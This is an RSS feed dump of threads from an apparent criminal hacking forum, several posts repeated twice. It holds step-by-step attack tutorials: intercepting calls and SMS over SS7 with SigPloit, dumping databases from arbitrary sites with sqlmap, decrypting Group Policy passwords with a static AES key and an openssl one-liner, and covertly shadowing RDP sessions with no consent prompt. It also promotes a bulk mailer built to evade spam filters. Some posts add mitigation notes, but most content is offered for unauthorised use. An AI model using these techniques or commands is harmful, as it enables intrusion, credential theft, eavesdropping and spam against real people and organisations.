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]]> <![CDATA[[Spanish] hack4u courses]]> https://breachforums.rs/Thread-Spanish-hack4u-courses Thu, 08 Jan 2026 07:16:30 +0800 alpaceca]]> https://breachforums.rs/Thread-Spanish-hack4u-courses <![CDATA[Exploitation of the SS7 Network | Intercepting Messages & Calls]]> https://breachforums.rs/Thread-Exploitation-of-the-SS7-Network-Intercepting-Messages-Calls Mon, 05 Jan 2026 08:54:18 +0800 cedawi1031]]> https://breachforums.rs/Thread-Exploitation-of-the-SS7-Network-Intercepting-Messages-Calls Introduction

SS7-based cyberattacks constitute a significant threat to mobile communications, leveraging security flaws inherent in the Signalling System No. 7 (SS7) protocol to intercept and compromise voice calls and text messages across cellular networks.
These attacks manipulate the authentication mechanisms of SS7-enabled communication infrastructure, enabling malicious actors to illicitly eavesdrop on SMS and voice communications. By falsifying Point Codes—a unique identifier for network nodes—attackers can masquerade as legitimate components such as Mobile Switching Centres or Visitor Location Registers, thereby redirecting calls and messages covertly. This method facilitates unauthorised access to confidential data without detection.

A. SS7 Exploitation via SigPloit

Repository: https://github.com/SigPloiter/SigPloit

SigPloit is a specialised tool designed to exploit vulnerabilities within SS7 networks through multiple methodologies, including:

- Mobile Application Part (MAP) Exploitation:
As the primary attack vector within SigPloit, MAP facilitates exploits such as subscriber location tracking and SMS interception. The tool dispatches MAP messages—including UpdateLocation and AnyTimeInterrogation—to interact with Home Location Registers, VLRs, and MSCs, thereby retrieving a victim’s real-time location or diverting messages to an attacker-controlled endpoint.

- Point Code (PC) Spoofing:
Attackers can forge legitimate signalling points (e.g., MSCs or HLRs) by mimicking their Point Codes. This deception allows adversaries to transmit falsified messages under the guise of trusted network elements, manipulating call routing to intercept communications.

- Man-in-the-Middle (MitM) Attacks:
SigPloit replicates MitM attacks by altering call or SMS routing instructions issued by MSCs or Signal Transfer Points. By modifying these routing directives, attackers can position themselves surreptitiously within the communication channel between two parties.

B. Gaining Access to the SS7 Network via SIGTRAN

Before initiating an attack on the SS7 protocol, it is first necessary to establish access to the network. This process is strictly controlled due to the significant risks posed by unauthorised interception of calls and messages, among other malicious activities.

One method of obtaining SS7 network access involves leveraging SIGTRAN (Signalling Transport), which facilitates the conversion of SS7 signalling protocols into an IP-based transmission format (TCP/IP).

To interface with a traditional SS7 network or operate SIGTRAN protocols within an IP environment, a SIGTRAN gateway is required. Such gateways are typically supplied by telecommunications equipment manufacturers or vendors. Once obtained, the system must be configured to support the various SIGTRAN protocol layers, including:

- SCTP (Stream Control Transmission Protocol)- M3UA (MTP3 User Adaptation Layer)- SUA (SCCP User Adaptation Layer)- Other relevant protocol layers.

C. Step-by-Step Exploitation of SS7 Using SigPloit

Prerequisites:
  • A Linux-based OS.
  • Python 2.7 or later.
  • Java Runtime Environment (JRE) version 1.7 or higher.
  • Installation of the SCTP utilities package:
    Code: Select all
    sudo apt-get install lksctp-tools

1. Installing SigPloit:

Execute the following commands sequentially:
Code: Select all
git clone https://github.com/SigPloiter/SigPloit.git

Code: Select all
cd SigPloit

Code: Select all
sudo pip2 install -r requirements.txt

Code: Select all
python sigploit.py

2. Intercepting Messages and Calls:

Prior to executing an attack, access to the SS7 network must first be established. As previously outlined, this can be achieved through SIGTRAN configuration.

2.1. Enter: 0



2.2. Enter: 1



2.3. Enter: 0



2.4. Enter: show options

To establish the appropriate settings, consult the readme file located at the following directory:
Code: Select all
SigPloit/Testing/Server/Attacks/Interception/UpdateLocation_Server

2.5. Enter: cat Parameters


Now, you must first assign the necessary IP addresses to your local loopback interface.

Execute the following commands with administrative privileges:
Code: Select all
sudo ip address add 192.168.56.101/32 dev lo

Code: Select all
sudo ip address add 192.168.56.102/32 dev lo

Following this configuration, input the previously obtained values from the configuration file into the relevant fields of the tool.
null

To initiate operations, execute the following command:
Code: Select all
run

The system is now prepared to monitor and intercept cellular communications. Additionally, you can explore further capabilities such as location tracking, fraud activity, DoS attacks, and so on.]]> Introduction

SS7-based cyberattacks constitute a significant threat to mobile communications, leveraging security flaws inherent in the Signalling System No. 7 (SS7) protocol to intercept and compromise voice calls and text messages across cellular networks.
These attacks manipulate the authentication mechanisms of SS7-enabled communication infrastructure, enabling malicious actors to illicitly eavesdrop on SMS and voice communications. By falsifying Point Codes—a unique identifier for network nodes—attackers can masquerade as legitimate components such as Mobile Switching Centres or Visitor Location Registers, thereby redirecting calls and messages covertly. This method facilitates unauthorised access to confidential data without detection.

A. SS7 Exploitation via SigPloit

Repository: https://github.com/SigPloiter/SigPloit

SigPloit is a specialised tool designed to exploit vulnerabilities within SS7 networks through multiple methodologies, including:

- Mobile Application Part (MAP) Exploitation:
As the primary attack vector within SigPloit, MAP facilitates exploits such as subscriber location tracking and SMS interception. The tool dispatches MAP messages—including UpdateLocation and AnyTimeInterrogation—to interact with Home Location Registers, VLRs, and MSCs, thereby retrieving a victim’s real-time location or diverting messages to an attacker-controlled endpoint.

- Point Code (PC) Spoofing:
Attackers can forge legitimate signalling points (e.g., MSCs or HLRs) by mimicking their Point Codes. This deception allows adversaries to transmit falsified messages under the guise of trusted network elements, manipulating call routing to intercept communications.

- Man-in-the-Middle (MitM) Attacks:
SigPloit replicates MitM attacks by altering call or SMS routing instructions issued by MSCs or Signal Transfer Points. By modifying these routing directives, attackers can position themselves surreptitiously within the communication channel between two parties.

B. Gaining Access to the SS7 Network via SIGTRAN

Before initiating an attack on the SS7 protocol, it is first necessary to establish access to the network. This process is strictly controlled due to the significant risks posed by unauthorised interception of calls and messages, among other malicious activities.

One method of obtaining SS7 network access involves leveraging SIGTRAN (Signalling Transport), which facilitates the conversion of SS7 signalling protocols into an IP-based transmission format (TCP/IP).

To interface with a traditional SS7 network or operate SIGTRAN protocols within an IP environment, a SIGTRAN gateway is required. Such gateways are typically supplied by telecommunications equipment manufacturers or vendors. Once obtained, the system must be configured to support the various SIGTRAN protocol layers, including:

- SCTP (Stream Control Transmission Protocol)- M3UA (MTP3 User Adaptation Layer)- SUA (SCCP User Adaptation Layer)- Other relevant protocol layers.

C. Step-by-Step Exploitation of SS7 Using SigPloit

Prerequisites:
  • A Linux-based OS.
  • Python 2.7 or later.
  • Java Runtime Environment (JRE) version 1.7 or higher.
  • Installation of the SCTP utilities package:
    Code: Select all
    sudo apt-get install lksctp-tools

1. Installing SigPloit:

Execute the following commands sequentially:
Code: Select all
git clone https://github.com/SigPloiter/SigPloit.git

Code: Select all
cd SigPloit

Code: Select all
sudo pip2 install -r requirements.txt

Code: Select all
python sigploit.py

2. Intercepting Messages and Calls:

Prior to executing an attack, access to the SS7 network must first be established. As previously outlined, this can be achieved through SIGTRAN configuration.

2.1. Enter: 0



2.2. Enter: 1



2.3. Enter: 0



2.4. Enter: show options

To establish the appropriate settings, consult the readme file located at the following directory:
Code: Select all
SigPloit/Testing/Server/Attacks/Interception/UpdateLocation_Server

2.5. Enter: cat Parameters


Now, you must first assign the necessary IP addresses to your local loopback interface.

Execute the following commands with administrative privileges:
Code: Select all
sudo ip address add 192.168.56.101/32 dev lo

Code: Select all
sudo ip address add 192.168.56.102/32 dev lo

Following this configuration, input the previously obtained values from the configuration file into the relevant fields of the tool.
null

To initiate operations, execute the following command:
Code: Select all
run

The system is now prepared to monitor and intercept cellular communications. Additionally, you can explore further capabilities such as location tracking, fraud activity, DoS attacks, and so on.]]> <![CDATA[HOW TO DUMP DATABASES LIKE A PRO]]> https://breachforums.rs/Thread-HOW-TO-DUMP-DATABASES-LIKE-A-PRO Sun, 04 Jan 2026 19:33:25 +0800 Fanatik]]> https://breachforums.rs/Thread-HOW-TO-DUMP-DATABASES-LIKE-A-PRO Requirements: A windows device (rdp works as well)

To begin we will need to download the program and the language required to run it. First head over to Download Python and download both versions (not needed but its better to have both). Then visit this site sqlmap: automatic SQL injection and database takeover tool and download it.

Setup:
After installing python extract sqlmap somewhere. I will be showing you some tips to access it from any folder. Rename the program to something easy to type as the .py file will look like sqlmap3849234832948324.
Gyazo

Usage:
Alright so when your in the sqlmap folder, click the directory and type cmd. this should automatically open a command prompt in your current folder. Type the following command:
python sqlmap.py -u (url here) --random-agent
press y for everything UNTIL it asks you if you wanna keep searching for vulnerabilities after finding one.
After it finishes write the next command:
python sqlmap.py -u (url) --dbs --random-agent --threads=10
it should print databases. (i will let you know how i personally do it combining both dumper and sqlmap.
python sqlmap.py -u (url) -D (databasename) --tables --random-agent --threads=10
it should list a bunch of tables. depending on what you want to dump...
python sqlmap.py -u (url) -D (db name) -T (table name) --columns -- random-agent --threads=10

and finally how to dump your target:
python sqlmap.py -u (url) -D (db name) -T (table name) -C (column,name) --dump --random-agent --threads=10
what it should look like at the end:
python sqlmap.py -u https://yourmomsvagina.com

AND BOOM YOU JUST DUMPED SOMETHING !

Now some of you guys might wonder how you can combine dumper and sqlmap for the best results. after scanning urls and checking to see if they are exploitable/injectable, you wanna go to an injectable url (choose any injectable url and click new dumper) and the database name and columns should show up. copy the url without the exploit in it (www.pornhub.' = www.pornhub. removing the ')
go to sqlmap and follow the steps i listed earlier.]]> Requirements: A windows device (rdp works as well)

To begin we will need to download the program and the language required to run it. First head over to Download Python and download both versions (not needed but its better to have both). Then visit this site sqlmap: automatic SQL injection and database takeover tool and download it.

Setup:
After installing python extract sqlmap somewhere. I will be showing you some tips to access it from any folder. Rename the program to something easy to type as the .py file will look like sqlmap3849234832948324.
Gyazo

Usage:
Alright so when your in the sqlmap folder, click the directory and type cmd. this should automatically open a command prompt in your current folder. Type the following command:
python sqlmap.py -u (url here) --random-agent
press y for everything UNTIL it asks you if you wanna keep searching for vulnerabilities after finding one.
After it finishes write the next command:
python sqlmap.py -u (url) --dbs --random-agent --threads=10
it should print databases. (i will let you know how i personally do it combining both dumper and sqlmap.
python sqlmap.py -u (url) -D (databasename) --tables --random-agent --threads=10
it should list a bunch of tables. depending on what you want to dump...
python sqlmap.py -u (url) -D (db name) -T (table name) --columns -- random-agent --threads=10

and finally how to dump your target:
python sqlmap.py -u (url) -D (db name) -T (table name) -C (column,name) --dump --random-agent --threads=10
what it should look like at the end:
python sqlmap.py -u https://yourmomsvagina.com

AND BOOM YOU JUST DUMPED SOMETHING !

Now some of you guys might wonder how you can combine dumper and sqlmap for the best results. after scanning urls and checking to see if they are exploitable/injectable, you wanna go to an injectable url (choose any injectable url and click new dumper) and the database name and columns should show up. copy the url without the exploit in it (www.pornhub.' = www.pornhub. removing the ')
go to sqlmap and follow the steps i listed earlier.]]> <![CDATA[SENDER MAIL Open Source DAFT SENDER]]> https://breachforums.rs/Thread-SENDER-MAIL-Open-Source-DAFT-SENDER Mon, 22 Dec 2025 03:57:36 +0800 lepetitprince]]> https://breachforums.rs/Thread-SENDER-MAIL-Open-Source-DAFT-SENDER DAFT SENDER OPEN SOURCE 
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Key Features
✅ Failure notifications: Receive real-time alerts on Telegram when your emails fail to reach the inbox.
✅ Continuous reporting: Track the progress of your email sends directly from the Telegram dashboard, providing a detailed overview of your campaigns.
✅ Remote control: Manage your email sending with start and stop buttons available directly on the Telegram panel.
✅ Easy configuration: Quickly access and manage configuration settings through the Telegram dashboard.
✅ Continuous inbox testing: Monitor in real time whether your emails land in the inbox or are filtered into spam.
✅ Automatic rotation: Benefit from automatic rotation of sender names, sending addresses, and subject lines to improve delivery performance.
Header Management
➡️ Unlimited header customization: Personalize your emails with an unlimited number of headers for maximum flexibility.
➡️ Reduced spam filtering risk: The absence of specific headers can help lower the likelihood of emails being automatically flagged as spam.
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DOWNLOAD
https://pixeldrain.com/u/j4XDsbF1
Key Features
✅ Failure notifications: Receive real-time alerts on Telegram when your emails fail to reach the inbox.
✅ Continuous reporting: Track the progress of your email sends directly from the Telegram dashboard, providing a detailed overview of your campaigns.
✅ Remote control: Manage your email sending with start and stop buttons available directly on the Telegram panel.
✅ Easy configuration: Quickly access and manage configuration settings through the Telegram dashboard.
✅ Continuous inbox testing: Monitor in real time whether your emails land in the inbox or are filtered into spam.
✅ Automatic rotation: Benefit from automatic rotation of sender names, sending addresses, and subject lines to improve delivery performance.
Header Management
➡️ Unlimited header customization: Personalize your emails with an unlimited number of headers for maximum flexibility.
➡️ Reduced spam filtering risk: The absence of specific headers can help lower the likelihood of emails being automatically flagged as spam.
]]> <![CDATA[How To Extract & Decrypt GPP Passwords from SYSVOL]]> https://breachforums.rs/Thread-How-To-Extract-Decrypt-GPP-Passwords-from-SYSVOL Sat, 20 Dec 2025 04:53:50 +0800 TheMekanic]]> https://breachforums.rs/Thread-How-To-Extract-Decrypt-GPP-Passwords-from-SYSVOL
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Decryption via Terminal (Linux):
The Static Microsoft AES Key:
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
echo "YOUR_CPASSWORD_HERE" | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
4. Impact: Why this is a "Goldmine"
  • Local Admin Everywhere: These passwords are often applied to the local "Administrator" account on every workstation and server in the domain.
  • Lateral Movement: Once you have one Local Admin password, you can use
    psexec
    or
    wmiexec
    to jump between machines until you find a Domain Admin session to hijack.
5. How to: Mitigate & Detect
  • Patching: Ensure KB2962486 is installed to prevent new passwords from being stored.
  • Cleanup: Run the
    Get-SettingsWithCPassword.ps1
    script from Microsoft to find and delete old, vulnerable XML files.
  • Modern Alternative: Move to Windows LAPS (Local Administrator Password Solution) for secure, randomized local passwords.
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The Static Microsoft AES Key:
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
echo "YOUR_CPASSWORD_HERE" | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
4. Impact: Why this is a "Goldmine"
  • Local Admin Everywhere: These passwords are often applied to the local "Administrator" account on every workstation and server in the domain.
  • Lateral Movement: Once you have one Local Admin password, you can use
    psexec
    or
    wmiexec
    to jump between machines until you find a Domain Admin session to hijack.
5. How to: Mitigate & Detect
  • Patching: Ensure KB2962486 is installed to prevent new passwords from being stored.
  • Cleanup: Run the
    Get-SettingsWithCPassword.ps1
    script from Microsoft to find and delete old, vulnerable XML files.
  • Modern Alternative: Move to Windows LAPS (Local Administrator Password Solution) for secure, randomized local passwords.
6. Resources ]]> <![CDATA[How To Bypass EDR via GodPotato Token Theft (Admin To Syetem)]]> https://breachforums.rs/Thread-How-To-Bypass-EDR-via-GodPotato-Token-Theft-Admin-To-Syetem Sat, 20 Dec 2025 04:48:51 +0800 TheMekanic]]> https://breachforums.rs/Thread-How-To-Bypass-EDR-via-GodPotato-Token-Theft-Admin-To-Syetem
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5. How to: Defend & Detect
  • Privilege Least-Requirement: Audit service accounts and remove
    SeImpersonatePrivilege
    where it isn't strictly necessary.
  • RPC/DCOM Monitoring: Monitor for unusual local RPC connections or DCOM object activations originating from low-privilege service accounts.
  • ASR Rules: Implement Windows Attack Surface Reduction (ASR) rules to block process creations originating from compromised service accounts.
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5. How to: Defend & Detect
  • Privilege Least-Requirement: Audit service accounts and remove
    SeImpersonatePrivilege
    where it isn't strictly necessary.
  • RPC/DCOM Monitoring: Monitor for unusual local RPC connections or DCOM object activations originating from low-privilege service accounts.
  • ASR Rules: Implement Windows Attack Surface Reduction (ASR) rules to block process creations originating from compromised service accounts.
6. Resources ]]> <![CDATA[✅ NTDS.dit Extraction: Dumping the Domain Database]]> https://breachforums.rs/Thread-%E2%9C%85-NTDS-dit-Extraction-Dumping-the-Domain-Database Sat, 20 Dec 2025 04:42:24 +0800 TheMekanic]]> https://breachforums.rs/Thread-%E2%9C%85-NTDS-dit-Extraction-Dumping-the-Domain-Database
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]]> <![CDATA[How To Perform RDP Hijacking: Stealing Active Sessions (No Passwords)]]> https://breachforums.rs/Thread-How-To-Perform-RDP-Hijacking-Stealing-Active-Sessions-No-Passwords Sat, 20 Dec 2025 03:03:28 +0800 TheMekanic]]> https://breachforums.rs/Thread-How-To-Perform-RDP-Hijacking-Stealing-Active-Sessions-No-Passwords
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The "Shadowing" Alternative
If you have the proper Group Policy permissions, you can use the "Shadow" mode to monitor a user invisibly:
DOS

mstsc /shadow:2 /control /noConsentPrompt
  • /shadow:2
    : Target session ID.
  • /control
    : Allows mouse/keyboard interaction.
  • /noConsentPrompt
    : Prevents the victim from seeing a "Permission required" popup.
Defensive Mitigation
Administrators should configure Group Policy to automatically log off disconnected sessions after a short period (e.g., 5 minutes). This prevents dormant high-privilege sessions from being hijacked.
Detection of RDP session hijacking using tscon.exe
This video demonstrates how security teams monitor and detect the specific commands used in this hijacking technique.
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The "Shadowing" Alternative
If you have the proper Group Policy permissions, you can use the "Shadow" mode to monitor a user invisibly:
DOS

mstsc /shadow:2 /control /noConsentPrompt
  • /shadow:2
    : Target session ID.
  • /control
    : Allows mouse/keyboard interaction.
  • /noConsentPrompt
    : Prevents the victim from seeing a "Permission required" popup.
Defensive Mitigation
Administrators should configure Group Policy to automatically log off disconnected sessions after a short period (e.g., 5 minutes). This prevents dormant high-privilege sessions from being hijacked.
Detection of RDP session hijacking using tscon.exe
This video demonstrates how security teams monitor and detect the specific commands used in this hijacking technique.
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